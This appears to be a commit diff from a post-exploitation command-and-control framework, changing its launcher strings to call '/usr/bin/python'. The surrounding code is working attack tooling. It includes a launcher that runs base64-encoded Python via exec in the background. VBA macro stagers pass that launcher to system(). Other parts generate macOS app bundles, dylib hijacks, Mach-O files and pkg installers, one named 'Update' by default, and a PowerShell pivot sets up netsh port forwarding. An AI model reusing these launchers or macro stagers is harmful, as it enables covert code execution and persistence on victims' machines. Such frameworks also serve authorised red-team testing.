Finish effort to use complete python path
parent
1193518a8a
commit
d1172a7179
|
@ -59,7 +59,7 @@ class Listener:
|
|||
self.threads = {} # used to keep track of any threaded instances of this server
|
||||
|
||||
# optional/specific for this module
|
||||
|
||||
|
||||
|
||||
# set the default staging key to the controller db default
|
||||
#self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||
|
@ -95,7 +95,7 @@ class Listener:
|
|||
if not language:
|
||||
print helpers.color('[!] listeners/template generate_launcher(): no language specified!')
|
||||
return None
|
||||
|
||||
|
||||
if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||
|
||||
# extract the set options for this instantiated listener
|
||||
|
@ -332,7 +332,7 @@ class Listener:
|
|||
|
||||
if encode:
|
||||
launchEncoded = base64.b64encode(launcherBase)
|
||||
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
|
||||
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
|
||||
return launcher
|
||||
else:
|
||||
return launcherBase
|
||||
|
@ -538,7 +538,7 @@ class Listener:
|
|||
"""
|
||||
Generate just the agent communication code block needed for communications with this listener.
|
||||
This is so agents can easily be dynamically updated for the new listener.
|
||||
|
||||
|
||||
This should be implemented for the module.
|
||||
"""
|
||||
|
||||
|
@ -706,13 +706,13 @@ def send_message(packets=None):
|
|||
here and the actual server code in another function to facilitate threading
|
||||
(i.e. start_server() in the http listener).
|
||||
"""
|
||||
|
||||
|
||||
tempOptions = copy.deepcopy(self.options)
|
||||
listenerName = self.options['Listener']['Value']
|
||||
# validate that the Listener does exist
|
||||
if self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||
# check if a listener for the agent already exists
|
||||
|
||||
|
||||
if self.mainMenu.listeners.is_listener_valid(tempOptions['Name']['Value']):
|
||||
print helpers.color("[!] Pivot listener already exists on agent %s" % (tempOptions['Name']['Value']))
|
||||
return False
|
||||
|
@ -754,7 +754,7 @@ def send_message(packets=None):
|
|||
else{
|
||||
$ConnectAddress = ""
|
||||
$ConnectPort = ""
|
||||
|
||||
|
||||
$parts = $ConnectHost -split(":")
|
||||
if($parts.Length -eq 2){
|
||||
# if the form is http[s]://HOST or HOST:PORT
|
||||
|
@ -778,7 +778,7 @@ def send_message(packets=None):
|
|||
$ConnectPort = $parts[2]
|
||||
}
|
||||
if($ConnectPort -ne ""){
|
||||
|
||||
|
||||
$out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
|
||||
if($out){
|
||||
$out
|
||||
|
@ -814,7 +814,7 @@ def send_message(packets=None):
|
|||
host = "http://%s:%s" % (tempOptions['internalIP']['Value'], tempOptions['ListenPort']['Value'])
|
||||
self.options[option]['Value'] = host
|
||||
|
||||
|
||||
|
||||
# check to see if there was a host value at all
|
||||
if "Host" not in self.options.keys():
|
||||
self.options['Host']['Value'] = host
|
||||
|
@ -886,7 +886,7 @@ def send_message(packets=None):
|
|||
else{
|
||||
$ConnectAddress = ""
|
||||
$ConnectPort = ""
|
||||
|
||||
|
||||
$parts = $ConnectHost -split(":")
|
||||
if($parts.Length -eq 2){
|
||||
# if the form is http[s]://HOST or HOST:PORT
|
||||
|
@ -910,7 +910,7 @@ def send_message(packets=None):
|
|||
$ConnectPort = $parts[2]
|
||||
}
|
||||
if($ConnectPort -ne ""){
|
||||
|
||||
|
||||
$out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
|
||||
if($out){
|
||||
$out
|
||||
|
@ -933,12 +933,12 @@ def send_message(packets=None):
|
|||
msg = "Tasked agent to uninstall Pivot listener "
|
||||
self.mainMenu.agents.save_agent_log(sessionID, msg)
|
||||
|
||||
|
||||
|
||||
|
||||
elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"):
|
||||
|
||||
|
||||
print helpers.color("[!] Shutdown not implemented for python")
|
||||
|
||||
|
||||
else:
|
||||
print helpers.color("[!] Agent is not present in the cache or not elevated")
|
||||
|
||||
|
|
|
@ -164,8 +164,8 @@ Public Function Debugging() As Variant
|
|||
Dim result As Long
|
||||
Dim str As String
|
||||
%s
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python &")
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | /usr/bin/python &")
|
||||
#Else
|
||||
'Windows Rendering
|
||||
Dim objWeb As Object
|
||||
|
|
|
@ -95,6 +95,6 @@ class Stager:
|
|||
|
||||
else:
|
||||
disarm = False
|
||||
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
|
||||
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm)
|
||||
return ApplicationZip
|
||||
|
|
|
@ -89,7 +89,7 @@ class Stager:
|
|||
return ""
|
||||
|
||||
else:
|
||||
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
|
||||
dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
|
||||
return dylib
|
||||
|
||||
|
|
|
@ -78,6 +78,6 @@ class Stager:
|
|||
|
||||
else:
|
||||
|
||||
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
|
||||
macho = self.mainMenu.stagers.generate_macho(launcher)
|
||||
return macho
|
||||
|
|
|
@ -125,8 +125,8 @@ class Stager:
|
|||
Dim result As Long
|
||||
Dim cmd As String
|
||||
%s
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
|
||||
#End If
|
||||
End Function""" %(payload)
|
||||
elif version == "new":
|
||||
|
@ -149,8 +149,8 @@ class Stager:
|
|||
Dim result As LongPtr
|
||||
Dim cmd As String
|
||||
%s
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python &", "r")
|
||||
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &")
|
||||
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | /usr/bin/python &", "r")
|
||||
#End If
|
||||
End Function""" % (payload)
|
||||
else:
|
||||
|
|
|
@ -89,7 +89,7 @@ class Stager:
|
|||
if AppName == '':
|
||||
AppName = "Update"
|
||||
Disarm=True
|
||||
launcherCode = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
launcherCode = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
|
||||
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm)
|
||||
pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName)
|
||||
return pkginstaller
|
||||
|
|
Loading…
Reference in New Issue